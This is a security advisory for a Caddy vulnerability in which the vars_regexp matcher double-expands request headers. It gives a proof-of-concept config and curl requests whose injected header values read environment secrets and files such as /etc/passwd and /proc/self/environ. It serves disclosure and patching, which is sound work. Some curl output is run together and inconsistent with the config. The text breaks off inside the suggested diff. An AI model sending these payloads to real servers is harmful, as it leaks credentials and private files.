GHSA-m2w3-8f23-hxxf Caddy's vars_regexp double-expands user input, leaking env vars and files

• Go github.com/caddyserver/caddy/v2/modules/caddyhttp: >= 2.7.5, < 2.11.2 → fixed in 2.11.2

Summary The `vars_regexp` matcher in `vars.go:337` double-expands user-controlled input through the Caddy replacer. When `vars_regexp` matches against a placeholder like `{http.request.header.X-Input}`, the header value gets resolved once (expected), then passed through `repl.ReplaceAll()` again (the bug). This means an attacker can put `{env.DATABASE_URL}` or `{file./etc/passwd}` in a request header and the server will evaluate it, leaking environment variables, file contents, and system info. `header_regexp` does NOT do this — it passes header values straight to `Match()`. So this is a code-level inconsistency, not intended behavior. Details The bug is at `modules/caddyhttp/vars.go`, line 337 in `MatchVarsRE.MatchWithError()`: ```go valExpanded := repl.ReplaceAll(varStr, "") if match := val.Match(valExpanded, repl); match { ``` When the key is a placeholder like `{http.request.header.X-Input}`, `repl.Get()` resolves it to the raw header value (first expansion, line 318). Then `repl.ReplaceAll()` runs on that value again (second expansion, line 337), which evaluates any `{env.*}`, `{file.*}`, `{system.*}` placeholders the user put in there. For comparison, `header_regexp` (`matchers.go:1129`) and `path_regexp` (`matchers.go:703`) both pass values directly to `Match()` without this second expansion. This `repl.ReplaceAll()` was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug. *Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:** Config with both matchers on the same server: ```json { "admin": {"disabled": true}, "apps": { "http": { "servers": { "srv0": { "listen": [":8080"], "routes": [ { "match": [{"path": ["/header_regexp"], "header_regexp": {"X-Input": {"name": "hdr", "pattern": ".+"}}}], "handle": [{"handler": "static_response", "body": "header_regexp: {http.regexp.hdr.0}"}] }, { "match": [{"path": ["/vars_regexp"], "vars_regexp": {"{http.request.header.X-Input}": {"name": "var", "pattern": ".+"}}}], "handle": [{"handler": "static_response", "body": "vars_regexp: {http.regexp.var.0}"}] } ] } } } } } ``` ``` $ export SECRET=supersecretvalue123 $ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp header_regexp: {env.HOME} # literal string, safe $ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp vars_regexp: /Users/test # expanded — env var leaked $ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp header_regexp: {env.SECRET} # literal string, safe $ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp vars_regexp: supersecretvalue123 # secret leaked $ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/header_regexp header_regexp: {file./etc/hosts} # literal string, safe $ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/vars_regexp vars_regexp: ## # file contents leaked ``` PoC Save this as `config.json`: ```json { "admin": {"disabled": true}, "apps": { "http": { "servers": { "srv0": { "listen": [":8080"], "routes": [ { "match": [ { "vars_regexp": { "{http.request.header.X-Input}": { "name": "leak", "pattern": ".+" } } } ], "handle": [ { "handler": "static_response", "body": "Result: {http.regexp.leak.0}" } ] }, { "handle": [ { "handler": "static_response", "body": "No match", "status_code": "200" } ] } ] } } } } } ``` Start Caddy: ```bash export SECRET_API_KEY=sk-PRODUCTION-abcdef123456 caddy run --config config.json ``` Requests and output: ``` $ curl -v -H 'X-Input: hello' http://127.0.0.1:8080 • Trying 127.0.0.1:8080... • Connected to 127.0.0.1 (127.0.0.1) port 8080 > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: hello > • Request completely sent off GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: {env.HOME} > • Request completely sent off GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: {env.SECRET_API_KEY} > • Request completely sent off GET / HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/8.7.1 > Accept: */* > X-Input: {file./etc/hosts} > • Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 10 < Leaked: ## ``` Also works with `{system.hostname}`, `{system.os}`, `{env.PATH}`, etc. Debug log (server starts clean, no errors): ``` {"level":"info","ts":1771456228.917303,"msg":"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined"} {"level":"info","ts":1771456228.917334,"msg":"GOMEMLIMIT is updated","GOMEMLIMIT":15461882265,"previous":9223372036854775807} {"level":"info","ts":1771456228.9173398,"msg":"using config from file","file":"config.json"} {"level":"warn","ts":1771456228.917349,"logger":"admin","msg":"admin endpoint disabled"} {"level":"info","ts":1771456228.917928,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0x340775faa300"} {"level":"warn","ts":1771456228.920725,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"warn","ts":1771456228.920738,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"info","ts":1771456228.920741,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"level":"info","ts":1771456228.9210382,"msg":"autosaved config (load with --resume flag)"} {"level":"info","ts":1771456228.921052,"msg":"serving initial configuration"} ``` Impact Information disclosure. An attacker can leak: • Environment variables (`{env.DATABASE_URL}`, `{env.AWS_SECRET_ACCESS_KEY}`, etc.) • File contents up to 1MB (`{file./etc/passwd}`, `{file./proc/self/environ}`) • System info (`{system.hostname}`, `{system.os}`, `{system.wd}`) Requires a config where `vars_regexp` matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since. Suggested one-line fix: ```diff --- a/modules/caddyhttp/vars.go +++ b/modules/caddyhttp/…